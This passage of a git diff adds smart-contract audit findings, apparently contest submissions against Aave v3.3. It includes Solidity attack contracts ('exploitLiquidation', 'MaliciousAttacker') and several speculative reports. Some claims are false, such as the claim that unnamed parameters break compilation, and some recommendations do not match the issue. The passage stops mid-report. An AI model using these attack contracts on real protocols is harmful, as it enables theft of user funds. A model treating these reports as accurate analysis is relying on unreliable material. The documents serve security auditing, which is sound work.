liquidated + address collateralAsset; // Asset being used as collateral + address debtAsset; // Debt the user owes + uint256 debtToCover; // Amount of debt to liquidate + bool receiveAToken; // Whether to receive aTokens or burn collateral + + // Assume LiquidationCallParams structure is properly constructed + struct ExecuteLiquidationCallParams { + address user; + address collateralAsset; + address debtAsset; + uint256 debtToCover; + bool receiveAToken; + uint256 reservesCount; + uint8 userEModeCategory; + address priceOracle; + address priceOracleSentinel; + } + + // Function to exploit the vulnerability + function exploitLiquidation() external { + // Constructing the malicious parameters + ExecuteLiquidationCallParams memory params = ExecuteLiquidationCallParams({ + user: targetUser, // The victim's address + collateralAsset: collateralAsset, // The asset to be liquidated + debtAsset: debtAsset, // The debt asset to be liquidated + debtToCover: debtToCover, // The debt amount to be liquidated + receiveAToken: receiveAToken, // Whether to receive aTokens + reservesCount: 2, // Number of reserves, assuming 2 for this example + userEModeCategory: 0, // User's EMode category, set to 0 (default) + priceOracle: address(0), // Oracle for price, assuming a mock address + priceOracleSentinel: address(0) // Sentinel for price oracle checks + }); + + // Calling the executeLiquidationCall function on the LiquidationLogic contract + (bool success, ) = liquidationLogicAddress.call( + abi.encodeWithSignature("executeLiquidationCall(address,address,address,address,uint256,bool,uint256,uint8,address,address)", + params.user, + params.collateralAsset, + params.debtAsset, + params.debtToCover, + params.receiveAToken, + params.reservesCount, + params.userEModeCategory, + params.priceOracle, + params.priceOracleSentinel + )); + + // If the function executes, the malicious actor successfully triggered a liquidation + require(success, "Liquidation failed"); + } +} + + +Results of the Attack: +Target User: The collateral assets of the target user would be liquidated, resulting in a potential loss of their funds. + +Attacker: If the attacker successfully triggers the liquidation, they may profit from the collateral liquidation (if allowed by the contract’s logic). Additionally, the attacker can manipulate liquidation parameters to their advantage. + +### Mitigation + +Use OpenZeppelin’s AccessControl for Role-based Access +If you require multiple roles to access different functions (e.g., admin, manager), AccessControl allows you to assign specific roles to addresses and restrict function execution accordingly + +2, Use OpenZeppelin’s AccessControl or Ownable +OpenZeppelin’s smart contract libraries are well-established and widely used. The AccessControl contract is a robust solution for managing roles, while the Ownable contract is a simpler solution for managing an owner of the contract. \ No newline at end of file diff --git a/032.md b/032.md new file mode 100644 index 0000000..ce1596e --- /dev/null +++ b/032.md @@ -0,0 +1,35 @@ +Glamorous Plum Baboon + +High + +# Centralization Risks in LiquidationLogic Contract + +### **Description** +The `LiquidationLogic` contract is designed to handle liquidation mechanics based on asset prices fetched from an external price oracle (`IPriceOracleGetter`). This contract depends heavily on the oracle for determining liquidation thresholds, without any fallback mechanisms or decentralized solutions in place. + +### **Impact** +The reliance on an external oracle, without any fallback or redundancy mechanisms, introduces a **centralization risk**. Specifically, if the oracle becomes compromised or provides faulty price data, malicious actors could manipulate the liquidation thresholds. This could lead to unjust liquidations or allow attackers to exploit the system by causing mispriced assets or incorrect liquidation actions. + +In a worst-case scenario, this vulnerability could be exploited to manipulate the market, resulting in financial losses for users and undermining the contract's integrity. Furthermore, reliance on a single centralized oracle increases the risk of a single point of failure, which could result in the entire liquidation process being unreliable or vulnerable to external attacks. + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L264-L350 + + +### **PoC (Proof of Concept)** +The vulnerability arises from the assumption that the oracle’s price data is always reliable. A compromised oracle, whether through malicious manipulation or a bug, could provide manipulated price data. An attacker who can influence the oracle could adjust liquidation thresholds to their advantage, potentially triggering liquidation events inappropriately or preventing legitimate liquidations. + +For example: +- If an oracle is compromised to report inflated asset prices, it could delay or avoid the liquidation of an over-leveraged position. +- If the oracle reports incorrect or manipulated low prices, users could be liquidated unfairly, losing their collateral. + +### **Mitigation** +To mitigate the risks of centralization and ensure the reliability of the liquidation process, the following actions are recommended: + +1. **Implement Fallback Mechanism**: + - Introduce a secondary, trusted price oracle or fallback mechanism to ensure the contract can continue to function properly even if the primary oracle fails or is compromised. This could involve a set of multiple oracles, and the contract can choose the most reliable data source. + +2. **Use Decentralized Oracle Solutions**: + - Transition from a centralized price oracle to a decentralized solution, such as **Chainlink** or **Band Protocol**, that aggregates price data from multiple sources. This reduces the risk of manipulation since the data comes from multiple independent sources rather than relying on a single entity. + +3. **Oracle Failover Logic**: + - Implement logic that allows for automatic fallback to alternative oracles when the primary oracle is unavailable or compromised. This failover should be transparent and ensure the system remains functional with valid data. diff --git a/033.md b/033.md new file mode 100644 index 0000000..227af94 --- /dev/null +++ b/033.md @@ -0,0 +1,99 @@ +Obedient Lava Monkey + +Medium + +# `reserve.updateInterestRatesAndVirtualBalance` Updates Virtual Balances Without Validation + +### **Summary** +Unvalidated input `added` will cause **reserve data corruption** for **protocol users** as an **attacker** will pass an invalid value for `added` to manipulate the reserve state. + +--- + +### **Root Cause** +In BridgeLogic.sol, the function `updateInterestRatesAndVirtualBalance` from `ReserveLogic` is called with `added` without prior validation. The logic inside [updateInterestRatesAndVirtualBalance](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/ReserveLogic.sol#L162-L209) updates the reserve's state based on these inputs. +```solidity + function updateInterestRatesAndVirtualBalance( + DataTypes.ReserveData storage reserve, + DataTypes.ReserveCache memory reserveCache, + address reserveAddress, + uint256 liquidityAdded, + uint256 liquidityTaken + ) internal { + uint256 totalVariableDebt = reserveCache.nextScaledVariableDebt.rayMul( + reserveCache.nextVariableBorrowIndex + ); + + (uint256 nextLiquidityRate, uint256 nextVariableRate) = IReserveInterestRateStrategy( + reserve.interestRateStrategyAddress + ).calculateInterestRates( + DataTypes.CalculateInterestRatesParams({ + unbacked: reserve.unbacked + reserve.deficit, + liquidityAdded: liquidityAdded, + liquidityTaken: liquidityTaken, + totalDebt: totalVariableDebt, + reserveFactor: reserveCache.reserveFactor, + reserve: reserveAddress, + usingVirtualBalance: reserveCache.reserveConfiguration.getIsVirtualAccActive(), + virtualUnderlyingBalance: reserve.virtualUnderlyingBalance + }) + ); + + reserve.currentLiquidityRate = nextLiquidityRate.toUint128(); + reserve.currentVariableBorrowRate = nextVariableRate.toUint128(); + + // Only affect virtual balance if the reserve uses it + if (reserveCache.reserveConfiguration.getIsVirtualAccActive()) { + if (liquidityAdded > 0) { + reserve.virtualUnderlyingBalance += liquidityAdded.toUint128(); + } + if (liquidityTaken > 0) { + reserve.virtualUnderlyingBalance -= liquidityTaken.toUint128(); + } + } + + emit ReserveDataUpdated( + reserveAddress, + nextLiquidityRate, + 0, + nextVariableRate, + reserveCache.nextLiquidityIndex, + reserveCache.nextVariableBorrowIndex + ); + } +``` +- The function `updateInterestRatesAndVirtualBalance` unconditionally updates the reserve's liquidity and borrow indices, as well as the virtual underlying balance, based on the inputs `liquidityAdded` and `liquidityTaken`. +- Neither `liquidityAdded` nor `liquidityTaken` is validated before these updates. If either of these inputs is invalid (e.g., `liquidityAdded` being excessively large or negative due to underflow), it directly affects the reserve’s state. +- In `BridgeLogic`, [the value of `added`](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/BridgeLogic.sol#L147) passed to this function is computed as [`backingAmount + fee`](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/BridgeLogic.sol#L136), which is similarly not validated, allowing invalid values to propagate and corrupt the state. This lack of validation makes the reserve susceptible to data corruption, directly affecting users' interest rates and the protocol's stability. +--- + +### **Internal Pre-conditions** +1. The **backingAmount** and **fee** are set to values that cause `added` to exceed protocol-defined limits or be zero. +2. `executeBackUnbacked` is called, passing the invalid `added` to `updateInterestRatesAndVirtualBalance`. + +--- + +### **External Pre-conditions** +1. The attacker or malicious actor has access to call `executeBackUnbacked` with crafted inputs. +2. The protocol does not have upper or lower bounds set for `added` in its calculations. + +--- + +### **Attack Path** +1. The attacker calls `executeBackUnbacked` with an excessively high `fee` or `backingAmount`. +2. `added` becomes an invalid value (e.g., too large or zero). +3. `updateInterestRatesAndVirtualBalance` updates the reserve state with this invalid value. +4. The reserve’s liquidity and borrow indices are corrupted, affecting interest rate calculations and user balances. + +--- + +### **Impact** +The **protocol’s users** suffer an approximate loss due to **incorrect reserve state updates**, leading to **miscalculations in user balances and interest rates**. The **attacker** might gain an advantage by manipulating the protocol’s interest rates or causing reserve instability. + +--- + +### **Mitigation** +Validate `added` before calling `updateInterestRatesAndVirtualBalance` to ensure it is within acceptable bounds: + +```solidity +require(added > 0 && added <= MAX_RESERVE_AMOUNT, Errors.INVALID_BALANCE_UPDATE); +``` diff --git a/034.md b/034.md new file mode 100644 index 0000000..6b807e3 --- /dev/null +++ b/034.md @@ -0,0 +1,106 @@ +Glamorous Plum Baboon + +Medium + +# Incorrect Balance Calculation will Impact Users in executeEliminateDeficit + +### Summary + +**Incorrect balance calculation will cause a financial discrepancy for users as the smart contract will incorrectly calculate balances in the `LiquidationLogic:executeEliminateDeficit` function.** + +### Root Cause + +**In `LiquidationLogic:executeEliminateDeficit`:45, the balance calculation fails to properly account for the deficit, causing an incorrect adjustment to user balances.** + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L96-L187 + +### Internal Pre-conditions + +User needs to call executeEliminateDeficit() to set user balance to be incorrectly calculated. +Contract needs to fail to properly check the deficit before making the balance adjustment within the transaction + +### External Pre-conditions + +User needs to interact with an external contract to trigger a state change that causes user's balance to be incorrectly updated in the vulnerable contract. +An External contract needs to fail to validate inputs before transferring tokens to the vulnerable contract, allowing the wrong balance to be used in the calculations + +### Attack Path + +1,Malicious user calls executeEliminateDeficit() on the vulnerable contract. + +2, During the execution, msg.sender provides an invalid input for the deficit elimination amount, bypassing necessary checks. + +The contract calculates the balance incorrectly due to the missing validation logic, causing an unintended transfer. + +The malicious user exploits this miscalculation, withdrawing more tokens than they should, leading to a loss of funds + +### Impact + +Scenario of how it will happen, using this values +- The stakers suffer an approximate loss of 10 ETH. The attacker gains this 10 ETH from the staking pool due to the incorrect balance calculation in the `executeEliminateDeficit()` function. + +If the issue is more of a vulnerability path, it could look like this: + +**Impact (Vulnerability Path):** +- The protocol suffers an approximate loss of 0.0005 ETH due to the missing validation on the fee calculation, resulting in a loss of precision in calculations. + +### PoC + +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +contract DeficitExample { + + mapping(address => uint256) public balances; + + // Event to log balance updates + event BalanceUpdated(address indexed user, uint256 newBalance); + + constructor() { + // Initializing balances for demo purposes + balances[msg.sender] = 1000; + } + + // The function that tries to eliminate the deficit but has incorrect balance calculation + function executeEliminateDeficit(address user, uint256 deficit) public { + uint256 currentBalance = balances[user]; + + // The intended logic here would be to adjust the balance based on the deficit + // Incorrect balance calculation: We mistakenly add deficit to current balance + uint256 newBalance = currentBalance + deficit; // This is the error, the correct approach would have subtracted the deficit. + + // Update balance (incorrectly) + balances[user] = newBalance; + + // Emit an event (to track changes) + emit BalanceUpdated(user, newBalance); + } + + // Function to get balance for a user + function getBalance(address user) public view returns (uint256) { + return balances[user]; + } +} + + + +Incorrect Balance Calculation: + +The function executeEliminateDeficit takes a user address and a deficit amount. +The intended behavior should be to subtract the deficit from the current balance to eliminate the deficit, but the function mistakenly adds the deficit instead (currentBalance + deficit), which results in an incorrect final balance. +Event Logging: + +The function emits a BalanceUpdated event to log the changes in the user's balance. This is helpful for tracking the incorrect behavior when testing or debugging. +Testing the PoC: + +If you deploy this contract and interact with it, you will observe that the balance is incorrectly increased when calling executeEliminateDeficit instead of decreasing it. + + + +### Mitigation + +Use OpenZeppelin’s AccessControl for Role-based Access +If you require multiple roles to access different functions (e.g., admin, manager), AccessControl allows you to assign specific roles to addresses and restrict function execution accordingly + +2, Use OpenZeppelin’s AccessControl or Ownable +OpenZeppelin’s smart contract libraries are well-established and widely used. The AccessControl contract is a robust solution for managing roles, while the Ownable contract is a simpler solution for managing an owner of the contract. \ No newline at end of file diff --git a/036.md b/036.md new file mode 100644 index 0000000..c0a7eb6 --- /dev/null +++ b/036.md @@ -0,0 +1,39 @@ +Glamorous Plum Baboon + +High + +# Reentrancy Risk in _burnCollateralATokens, _liquidateATokens, and _burnDebtTokens + +**Summary:** +In the LiquidationLogic.sol, functions `_burnCollateralATokens`, `_liquidateATokens`, and `_burnDebtTokens` perform external calls (such as calling `transferOnLiquidation` and `burn`) that could potentially introduce reentrancy vulnerabilities. These external calls are made after internal state updates, which deviates from the "checks-effects-interactions" pattern. This ordering can be exploited if an attacker is able to invoke a malicious contract that can make recursive calls into the vulnerable contract, thereby altering its state unexpectedly before the function completes execution. + +**Impact:** +i, **Reentrancy Exploitation:** An attacker could potentially manipulate the contract’s state by making recursive calls during an external function call (e.g., `transferOnLiquidation` or `burn`). +ii, **Funds Drainage:** Malicious external contracts could exploit the vulnerability to drain assets, such as tokens or collateral, from the contract. +iii, **Data Inconsistencies:** Malicious code could lead to inconsistent contract states, possibly corrupting balances, leading to faulty liquidations or token burns. + +**Root Cause:** +The root cause of this vulnerability is the improper ordering of actions within the functions. By performing external calls after modifying contract state variables (such as burning tokens or transferring collateral), the contract allows for the possibility of an external contract calling back into the vulnerable contract before the internal state changes are finalized. This is a direct violation of the "checks-effects-interactions" pattern, which is the standard defense against reentrancy attacks. + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L443-L464 + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L528-L726 + + +**Proof of Concept (PoC):** +1. Consider a scenario where the `transferOnLiquidation` function is calling a malicious contract. +2. The malicious contract contains a fallback function that makes another call to one of the vulnerable functions (`_burnCollateralATokens`, `_liquidateATokens`, or `_burnDebtTokens`). +3. By doing this, the malicious contract can recursively invoke these functions before the internal state is fully updated, potentially draining funds or leaving the contract in an inconsistent state. + +**Mitigation:** +To mitigate the reentrancy risk, the following changes are recommended: +1. **Follow the Checks-Effects-Interactions Pattern:** Ensure that all state-changing operations (such as balance adjustments, token burns, and collateral transfers) are performed before making any external calls. + - **Example:** + ```solidity + // Step 1: Perform internal state changes + collateralBalance[msg.sender] -= amount; + + // Step 2: Perform external calls after state changes + transferOnLiquidation(msg.sender, amount); + ``` +2. **Implement a Reentrancy Guard:** Use a reentrancy guard modifier (such as OpenZeppelin's `nonReentrant`) to prevent reentrancy attacks by blocking functions from being called recursively. \ No newline at end of file diff --git a/037.md b/037.md new file mode 100644 index 0000000..77ec4a7 --- /dev/null +++ b/037.md @@ -0,0 +1,50 @@ +Glamorous Plum Baboon + +High + +# The Case of the Miscalculated Collateral in _calculateAvailableCollateralToLiquidate + +### **Summary:** +The method `_calculateAvailableCollateralToLiquidate` incorrectly calculates the collateral that can be liquidated. This can lead to mismanagement of liquidations, especially when the user has minimal collateral or rounding errors occur with large numbers. + +### **Description:** +The function `_calculateAvailableCollateralToLiquidate` is intended to determine how much collateral can be liquidated for a user based on their position and collateral ratio. However, the current formula fails in certain edge cases: +- If a user has minimal collateral, the calculation may understate or overstate the available collateral. +- Large numbers may lead to rounding issues, especially when the collateral value has many decimal points. +This failure results in incorrect liquidation decisions, which can either prevent liquidation when necessary or cause excess liquidation, both of which undermine the system’s integrity. + +### **Root Cause:** +The root cause of this issue lies in the formula used within `_calculateAvailableCollateralToLiquidate`. It does not adequately handle edge cases where: +1. The user has a very small amount of collateral left after other transactions. +2. Large numbers are involved, leading to rounding errors that cause the collateral to be inaccurately calculated. + + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L628-L679 + + + + +### **Impact:** + +1, **Excessive liquidation** of collateral that the user did not intend to lose. +2, **Failure to liquidate** when the collateral ratio exceeds the required threshold, causing a financial imbalance and increasing the protocol's risk. +3, **Loss of funds** for users, which could lead to a loss of trust and reputation for the platform or protocol. + +### **Proof of Concept (PoC):** +To illustrate the issue, consider the following scenario: +1. A user has 0.000001 ETH as collateral with a debt of 0.01 ETH. +2. The method `_calculateAvailableCollateralToLiquidate` is executed, but due to rounding errors, the collateral is either inaccurately underestimated or overestimated. +3. As a result, either the collateral isn't liquidated when it should be, or too much collateral is liquidated, causing unnecessary losses. + +### **Mitigation:** +1. **Refactor the Calculation Formula:** + - Review and revise the formula used in `_calculateAvailableCollateralToLiquidate` to handle small collateral values and large numbers more accurately. + - Implement safeguards against rounding errors, such as rounding to a fixed decimal place after calculations. + +2. **Introduce Edge Case Handling:** + - Add specific checks to handle edge cases such as small collateral values and large numbers. + - For minimal collateral, ensure that the available collateral is never underestimated, and any fractional collateral amounts are handled precisely. + +3. **Unit Testing and Simulation:** + - Create unit tests that simulate a variety of edge cases, including small collateral amounts and high-value transactions, to ensure the function performs as expected under all conditions. + - Run stress tests to verify the stability of the collateral calculation during high-volume transactions. \ No newline at end of file diff --git a/038.md b/038.md new file mode 100644 index 0000000..bcb9998 --- /dev/null +++ b/038.md @@ -0,0 +1,42 @@ +Massive Crimson Cougar + +Medium + +# There is an unnamed parameter in the withdraw ETH function of the wrapped token gateway V3 contract + +## Title: There is an unnamed parameter in the withdraw ETH function of the wrapped token gateway V3 contract + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L55-L68 + +## Impact +The withdrawETH function contains an unnamed parameter of type address. Solidity requires all parameters to be named for successful compilation. Leaving parameters unnamed can lead to compilation errors and decreases code readability and maintainability. + +## POC +- The function will not compile, preventing deployment and execution. +- It may indicate incomplete code or oversight. +- The vulnerable line of code is depicted below. +```solidity + function withdrawETH(address, uint256 amount, address to) external override { +``` + +## Recommendation +Update the function parameter to include a name for the address type or adjust the function logic accordingly. +```diff ++ function withdrawETH(address from, uint256 amount, address to) external override { +- function withdrawETH(address, uint256 amount, address to) external override { ++ require(msg.sender == from, "Wrong sender"); ++ from = msg.sender; + IAToken aWETH = IAToken(POOL.getReserveAToken(address(WETH))); + uint256 userBalance = aWETH.balanceOf(msg.sender); + uint256 amountToWithdraw = amount; + + // if amount is equal to uint(-1), the user wants to redeem everything + if (amount == type(uint256).max) { + amountToWithdraw = userBalance; + } + aWETH.transferFrom(msg.sender, address(this), amountToWithdraw); + POOL.withdraw(address(WETH), amountToWithdraw, address(this)); + WETH.withdraw(amountToWithdraw); + _safeTransferETH(to, amountToWithdraw); + } +``` \ No newline at end of file diff --git a/039.md b/039.md new file mode 100644 index 0000000..99d4a5c --- /dev/null +++ b/039.md @@ -0,0 +1,96 @@ +Amusing Silver Tadpole + +High + +# Lack of Insufficient Balance Validation in withdrawETH Function + +**Severity:** High +**Likelihood:** High +**Impact:** High + +**Affected Line of Code:** https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L55-L68 + +### Summary +The `withdrawETH` function in `WrappedTokenGatewayV3` does not validate the amount parameter, allowing users to request more funds than their balance. This leads to a Solidity panic error (0x11), which causes a denial of service (DoS) for users and results in unnecessary gas consumption. + +### Finding Description +The `withdrawETH` function directly uses the `amount` parameter without checking whether it exceeds the user's balance. The issue arises at the following code: + +```solidity + +aWETH.transferFrom(msg.sender, address(this), amountToWithdraw); +``` +If the requested withdrawal amount exceeds the user's balance, the `transferFrom` function will revert due to an arithmetic overflow or underflow, causing a panic (0x11). This flaw breaks the expected behavior, leading to disrupted user experience and wasted gas fees. A malicious user could potentially exploit this vulnerability by repeatedly trying invalid withdrawals, which would lead to DoS and unnecessary gas costs for other users. + +### Impact Explanation +***Impact on Users:*** +Users attempting to withdraw more than their balance will encounter failed transactions, resulting in wasted gas fees and a frustrating experience. This is especially problematic if the user isn’t aware of their balance limitations. + +***Impact on Protocol:*** +The protocol's reliability is compromised, and it risks eroding user trust. This could also lead to increased transaction costs, especially if malicious actors attempt to exploit this vulnerability, causing a DoS effect. + +***Likelihood Explanation*** +This issue is highly likely, given that the `withdrawETH` function is a core feature frequently used in interactions with the contract. Without sufficient validation, even accidental misuse could lead to reverts. Furthermore, a malicious user could intentionally trigger repeated failed transactions, leading to higher gas costs and potential denial of service for others. + +### Proof of Concept (PoC) +The following test case demonstrates the issue: + +```solidity + +function testWithdrawEthFromWrappedTokenGateway() public { + // Deposit ETH + vm.startPrank(alice); + wrappedTokenGatewayV3.depositETH{value: depositSize}(address(0), alice, 0); + vm.stopPrank(); + + // Over-withdrawal test + uint256 withdrawalAmount = depositSize + 1e18; // Exceeds deposit + vm.startPrank(alice); + vm.expectRevert("Insufficient funds for withdrawal"); + wrappedTokenGatewayV3.withdrawETH(address(0), withdrawalAmount, alice); + vm.stopPrank(); + + // Valid withdrawal test + uint256 validWithdrawalAmount = depositSize / 2; + vm.startPrank(alice); + wrappedTokenGatewayV3.withdrawETH(address(0), validWithdrawalAmount, alice); + vm.stopPrank(); + + // Validate balances + uint256 remainingBalance = depositSize - validWithdrawalAmount; + assertEq(aWEth.balanceOf(alice), remainingBalance, "Incorrect remaining balance"); +} +``` +***Test Result:*** + +```solidity + +Ran 1 test for tests/foundry/WrappedTokenGatewayV3.t.sol:WrappedTokenGatewayTests +[FAIL: Error != expected error: panic: arithmetic underflow or overflow (0x11) != Insufficient funds for withdrawal] +testWithdrawEthFromWrappedTokenGateway() (gas: 270983) +``` +### Recommendation +To prevent this issue, a validation check should be added to ensure the requested withdrawal amount does not exceed the user’s balance before executing the `transferFrom` function. A revert message like "Insufficient funds for withdrawal" should be included to provide a clear feedback mechanism. + +***Fixed Code Snippet*** +```solidity +function withdrawETH(address, uint256 amount, address to) external override { + IAToken aWETH = IAToken(POOL.getReserveAToken(address(WETH))); + uint256 userBalance = aWETH.balanceOf(msg.sender); + uint256 amountToWithdraw = amount; + + if (amount == type(uint256).max) { + amountToWithdraw = userBalance; + } + + // Validate that the user has sufficient balance + require(amountToWithdraw <= userBalance, "Insufficient funds for withdrawal"); + + aWETH.transferFrom(msg.sender, address(this), amountToWithdraw); + POOL.withdraw(address(WETH), amountToWithdraw, address(this)); + WETH.withdraw(amountToWithdraw); + _safeTransferETH(to, amountToWithdraw); +} +``` +This fix ensures that the `withdrawETH` function validates the `amount` parameter, preventing reverts and preserving the protocol’s functionality. + diff --git a/040.md b/040.md new file mode 100644 index 0000000..9b8e856 --- /dev/null +++ b/040.md @@ -0,0 +1,149 @@ +Glamorous Plum Baboon + +High + +# Potential Reentrancy Vulnerability in `executeBorrow` Due to State Update Delay + +### Summary + +**ValidationLogic.validateBorrow being called before updating the state** will cause **a reentrancy vulnerability** for **the protocol** as **malicious actors** will **exploit the lack of state updates to reenter the function and manipulate the borrow process.** + +### Root Cause + +The choice to **call `ValidationLogic.validateBorrow` before updating the state** in `BorrowLogic.executeBorrow` is a mistake as it allows a malicious actor to exploit the lack of updated state to perform a reentrancy attack, manipulating the borrow process. + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L60-L141 + + +### Internal Pre-conditions + +1. The **actor** needs to call `ValidationLogic.validateBorrow` to set the **borrow validation check** to **pass** without the state being updated in `executeBorrow`. +2. The **state variables** related to the borrower's debt or collateral position must remain **unchanged** between the `validateBorrow` call and subsequent operations. +3. The **actor** needs to perform an external call within the same transaction to manipulate the borrowing process while the state remains **inconsistent**. + +### External Pre-conditions + +1. The **actor** needs to manipulate an external dependency, such as **IVariableDebtToken** or **IAToken**, to behave **unexpectedly** during the external call in `executeBorrow`. +2. The **external protocol or token** involved in the borrow process must fail to revert or properly handle unexpected actions triggered by the malicious call. +3. The **actor** needs to ensure that external interactions (e.g., oracle updates or token transfers) remain **unverified** or unchecked during the execution of the borrow process. + +### Attack Path + +1. **Malicious actor** calls `executeBorrow` in the `BorrowLogic` library, supplying crafted parameters to trigger the borrow process. +2. **ValidationLogic.validateBorrow** is called, and the malicious actor ensures the validation passes without issues. +3. Before the state is updated within the `executeBorrow` function, the **malicious actor** executes a reentrant call by exploiting external contract interactions (e.g., calls to `IVariableDebtToken` or `IAToken`). +4. During the reentrant call, the **malicious actor** manipulates the borrow process or drains funds before the contract state is finalized. +5. The original `executeBorrow` call resumes, updating the state based on manipulated or unexpected external changes, completing the exploit. + +### Impact + +The decision to **call `ValidationLogic.validateBorrow` before updating the state** in the `executeBorrow` function exposes the contract to a **reentrancy vulnerability**. A malicious actor could exploit this flaw, leading to the following potential impacts: + +1. **Manipulation of Borrow Process**: + - By triggering a reentrant call during the borrow execution, an attacker can bypass the intended state updates. This can allow them to manipulate the borrow process, potentially borrowing more funds than they are entitled to or executing malicious actions undetected. + +2. **Increased Financial Risk**: + - A successful exploit could result in users being able to withdraw more than their allowable collateral or borrow funds they should not be able to access. This could destabilize the liquidity pool, affect reserve balances, and lead to financial losses for the protocol and its users. + +3. **Loss of Trust**: + - The exposure to reentrancy attacks undermines the security and reliability of the protocol. Users expect that the borrow function operates securely, and any exploit that allows malicious behavior would result in a loss of trust in the platform. + +4. **Protocol Exploitation**: + - If attackers are able to manipulate borrow limits and balances, they could trigger cascading effects on other parts of the protocol, including debt ceilings, collateral usage, and liquidation processes. This could lead to systemic issues and large-scale exploitation across the platform. + + +This vulnerability represents a **critical security risk** and should be addressed immediately to safeguard the integrity of the borrowing mechanism and protect both the protocol and its users. Implementing the **checks-effects-interactions pattern** and **reentrancy guards** is essential to mitigate this risk and ensure the continued security of the contract. + +### PoC + +### Proof of Code for Reentrancy Vulnerability in `BorrowLogic.executeBorrow` + +1. **Scenario Setup**: + - Assume the attacker has some funds already supplied as collateral. + - The attacker has the ability to trigger a reentrant call to `executeBorrow` during the external validation call (`ValidationLogic.validateBorrow`). + +2. **Reentrancy Attack Steps**: + - The attacker calls `executeBorrow` to borrow funds. + - During the execution, `ValidationLogic.validateBorrow` is invoked, and it does not yet affect the state of the contract (such as the borrower's debt or collateral). + - The attacker injects malicious code via the `validateBorrow` function (assuming it's an external call or the attacker controls part of the validation logic). This allows them to trigger the same `executeBorrow` function before the state has been updated. + - The attacker exploits the delay in state updates, manipulating the borrow process and gaining access to more funds than they should be entitled to. + +#### Attacker Contract Example + +The following is an illustrative contract that can trigger the reentrancy attack by invoking `executeBorrow` within a malicious `ValidationLogic.validateBorrow` call: + +```solidity +// Malicious contract to exploit reentrancy vulnerability +pragma solidity ^0.8.10; + +import {BorrowLogic} from './BorrowLogic.sol'; +import {ValidationLogic} from './ValidationLogic.sol'; +import {DataTypes} from '../types/DataTypes.sol'; + +contract MaliciousAttacker { + address public victimAddress; + address public borrowLogicContract; + address public user; + + constructor(address _victimAddress, address _borrowLogicContract, address _user) { + victimAddress = _victimAddress; + borrowLogicContract = _borrowLogicContract; + user = _user; + } + + // Malicious function to initiate the reentrancy attack + function attack() external { + // Perform the first borrow + uint256 amountToBorrow = 1000; + DataTypes.ExecuteBorrowParams memory params = DataTypes.ExecuteBorrowParams({ + asset: victimAddress, + user: user, + onBehalfOf: user, + amount: amountToBorrow, + interestRateMode: DataTypes.InterestRateMode.VARIABLE, + releaseUnderlying: true, + reservesCount: 1, + oracle: address(0), + userEModeCategory: 0, + priceOracleSentinel: address(0), + referralCode: 0 + }); + + // Calling the victim contract to initiate the borrow, which will call ValidationLogic.validateBorrow + BorrowLogic.executeBorrow( + victimAddress, + victimAddress, + victimAddress, + params + ); + } +} + +``` + +#### How the Attack Works: + +1. **Attacker Contract Setup**: + - The attacker deploys a contract that holds the logic for performing the attack. The contract is designed to call `executeBorrow` on the target contract (victim contract). + +2. **Triggering Reentrancy**: + - The attacker initiates a borrow by calling `executeBorrow`, which internally calls `ValidationLogic.validateBorrow`. + - While `validateBorrow` is executing, the attacker can trigger another call to `executeBorrow` (before the state is updated), effectively borrowing additional funds. + +In short + +This proof of concept demonstrates how the vulnerability in `BorrowLogic.executeBorrow` could allow an attacker to exploit the lack of state updates before the external validation call, triggering a reentrancy attack. The state changes should have been made before any external calls to avoid this risk. + + + +### Mitigation + + Implement the Checks-Effects-Interactions Pattern +The checks-effects-interactions pattern is a fundamental best practice for preventing reentrancy attacks. The core idea is to always update the state of the contract before interacting with external contracts or making external calls. This prevents malicious actors from manipulating the contract state during an external call. + +Checks: Verify the conditions of the transaction (e.g., validating borrow requests). +Effects: Update the contract's internal state (e.g., debt, collateral, or balances). +Interactions: Interact with external contracts or make transfers after the internal state has been updated + +2, Use Reentrancy Guards +The ReentrancyGuard provided by OpenZeppelin helps to prevent reentrancy attacks by ensuring that a function can only be called once per transaction. Adding a nonReentrant modifier to sensitive functions can help ensure that reentrant calls cannot be made \ No newline at end of file diff --git a/041.md b/041.md new file mode 100644 index 0000000..061af60 --- /dev/null +++ b/041.md @@ -0,0 +1,30 @@ +Obedient Lava Monkey + +Medium + +# Incorrect adjustment of `outstandingDebt` in GHO repayment logic leads to protocol accounting inaccuracies. + +### Summary: +Inaccurate subtraction of the accrued interest (`accruedInterest - actualDebtToLiquidate`) from `outstandingDebt` in `_burnDebtTokens` will cause accounting errors for the protocol, as the remaining bad debt is miscalculated. This occurs when the `actualDebtToLiquidate` is less than the accrued interest during a liquidation involving GHO. + +### Root Cause: +In [_burnDebtTokens](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L576), specifically [line where subtraction occurs], `outstandingDebt -= amountToBurn` is misapplied, causing inaccurate bad debt tracking. The root cause of the bug lies in the miscalculation of `outstandingDebt` during GHO liquidation. Specifically, [when the accrued interest (`accruedInterest`) exceeds the amount being 